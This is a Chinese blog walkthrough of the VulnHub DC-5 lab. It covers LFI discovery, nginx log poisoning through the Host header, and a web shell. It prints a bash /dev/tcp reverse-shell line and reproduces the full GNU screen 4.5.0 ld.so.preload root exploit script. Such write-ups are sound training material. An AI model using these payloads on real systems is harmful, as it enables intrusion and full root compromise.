vulnhub-DC-5

发布时间 2024-01-06 16:27:39作者: qingshanboy

vulnhub-DC-5

进入机器前

还是先端口扫描

image-20240104195558274

然后对端口服务、操作系统版本扫描、漏洞扫描

image-20240104195651500

image-20240104195729747

80端口简单看了一下,除了一个contact.php有输入留言其他没什么交互点。

留言板没xss,一输入就跳转thankyou.php

目录扫描

image-20240104195858872

没什么东西,换个工具,换字典,都没什么东西出来

看看111端口的rpcbind

先searchsploit rpcbind

image-20240104200145133

全是dos脚本

上网搜一波rpcbind渗透,rpcinfo -p 192.168.57.149

msf的auxiliary/scanner/misc/sunrpc_portmapper设置好rhosts再run得到的结果都差不多

nmap 脚本扫rpcbind信息

image-20240104200449999

目前没有头绪

searchsploit nginx

image-20240104200603585

先找找系统版本相关的,但是感觉一般不是这个点

又回80端口,仔细看contact.php输入后,thankyou.php的url栏有参数,不过参数就是对应的输入的内容。然后发现修改参数的值,footer底部的信息变了。

想到之前目录扫描有个footer.php,访问,发现每次刷新它都会变。

猜测thankyou.php可能直接包含了footer.php

image-20240104200946730

image-20240104201002762

但是这里包含不知道有没有包含的点可以给我们用,而且很可能这个包含就是一个内部写好的,没有客户端可控的参数来控制。

还是没思路,跟着刚才的包含思路随便试了试?filename以及?file

发现?file=/etc/passwd是可以成功的,也就是这里我们可以通过file来控制包含的内容。

想到php://input可以执行代码,本地建了个web里面有个index.html,输入?file=http://192.168.57.1/index.html

发现allow-url-include应该是没开

而php://input利用需要allow_url_include打开(且当enctype="multipart/form-data"的时候 php://input` 是无效的)

image-20240104201836140

尝试包含linux版本文件、phpinfo文件、mysql/nginx配置文件

mysql配置文件:/etc/mysql/my.cnf(因为之前/etc/passwd看到有个Mysql)

image-20240104202529240

依然没有发现,现在想来端口扫描都没开3306就算拿到mysql的账户、密码也连不了。卡了......

尝试一下可不可以利用nginx的日志包含来弹shell

/var/log/nginx/

access.log
error.log
nginx.pid

可以包含error.log,也有输入的

image-20240105192404366

尝试给日志投毒,弹shell,但是监听处没shell出来。

经过尝试只要error.log可以包含,仔细看发现除了file传入错误文件路径会被记录到日志,还要HOST信息会被记录。

抓包给host加个

image-20240105194142652

包含错误日志,投毒成功:

image-20240105194115832

尝试弹shell:还是http请求头的host字段加弹shell的代码,包含日志。

但是没成功,后来发现再次输入错误路径,错误日志文件没记录了,难道是每天日志有大小限制?真服了,在眼前进不去的感觉!

包含nginx配置文件,让gpt整理:

user www-data;
worker_processes 4;
pid /run/nginx.pid;

events {
    worker_connections 768;
}

http {
    sendfile on;
    tcp_nopush on;
    tcp_nodelay on;
    keepalive_timeout 65;
    types_hash_max_size 2048;
    include /etc/nginx/mime.types;
    default_type application/octet-stream;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_prefer_server_ciphers on;
    access_log /var/log/nginx/access.log;
    error_log /var/log/nginx/error.log;
    gzip on;
    gzip_disable "msie6";
application/javascript text/xml application/xml application/xml+rss text/javascript;
    include /etc/nginx/conf.d/*.conf;
    include /etc/nginx/sites-enabled/*;
}

没限制大小,难道是文件大小太大,默认的导致新的内容记录不进去(早知道不直接phpinfo试,该用一句话木马再phpinfo)。

重置试试

还是在host写个一句话木马,蚁剑连成功了

image-20240105202829261

给kali弹个shell:

image-20240105204014684

image-20240105204032495

exec('/bin/bash -c "bash -i >& /dev/tcp/192.168.57.130/2345 0>&1"');

进入机器后

sudo -l

find / -perm -u=s -type f 2>/dev/null

看到个screen-4.5.0

image-20240106161218644

searchspolit screen 4.5.0

看到第一个脚本

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

跟着脚本意思得到libhax.so、rootshell、run.sh传上去,给run.sh可执行权限

./run.sh

我这里显示

image-20240106161410482

换个机器重新编译一下rootshell.c,然后就可以提权成功。